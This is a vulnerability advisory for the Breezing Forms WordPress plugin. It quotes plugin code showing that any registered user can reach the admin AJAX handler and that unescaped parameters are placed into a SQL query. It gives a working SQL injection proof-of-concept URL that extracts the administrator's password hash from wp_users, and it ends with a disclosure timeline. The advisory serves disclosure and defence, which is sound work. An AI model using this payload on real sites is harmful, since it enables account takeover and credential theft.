Every registered user can access plugin admin interface.
File: breezing-forms\breezingforms.php
// used for all admin ajax requests
if(isset($_REQUEST['action']) && $_REQUEST['action'] != 'breezingformsajax'){
add_action('wp_ajax_breezingformsadminajax', 'breezingformsadminajax');
}else{
add_action('wp_ajax_breezingformsajax', 'breezingformsajax');
}
function breezingformsadminajax(){
breezingforms_admin();
die();
}
We can use this for SQL Injection because $_GET['page']
is not escaped.
File: breezing-forms\platform\administrator\components\com_breezingforms\admin.breezingforms.php
switch($act) {
case 'editpage':
require_once($ff_admpath.'/admin/element.php');
break;
}
File: breezing-forms\platform\administrator\components\com_breezingforms\admin\element.php
$page = JRequest::getVar( 'page', 1);
switch ($task) {
case 'submit':
facileFormsElement::listitems($option, $pkg, $form, $page, 'submit');
break;
}
File: breezing-forms\platform\administrator\components\com_breezingforms\admin\element.html.php
public static function listitems($option, $pkg, $form, $page, $prevmode)
{
global $database;
$database = JFactory::getDBO();
$database->setQuery(
"select * from #__facileforms_elements where form=$form and page=$page order by ordering"
);
$rows = $database->loadObjectList();
if ($database->getErrorNum()) {
echo $database->stderr();
return false;
} // if
$formrow = new facileFormsForms($database);
$formrow->load($form);
$checkedIds = explode(',', JRequest::getVar( 'checkedIds', ''));
HTML_facileFormsElement::listitems($option, $pkg, $formrow, $page, $rows, $prevmode, $checkedIds);
}
Proof of Concept
Login as regular user (created using wp-login.php?action=register
):
http://wordpress-url/wp-admin/admin-ajax.php?action=breezingformsadminajax&act=editpage&task=submit&form=0 UNION (SELECT 1, 2, 3, 4, 5, user_pass, 7, 8, 9, 10, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1, 2, 3 FROM wp_users WHERE ID = 1) --
user_pass
will be visible in Name
column.
Timeline
- 20-11-2014: Discovered
- 20-11-2014: Vendor notified
- 03-11-2014: Second notification
- 26-02-2015: Third notification
- 26-02-2015: Version 1.2.7.31 released, issue resolved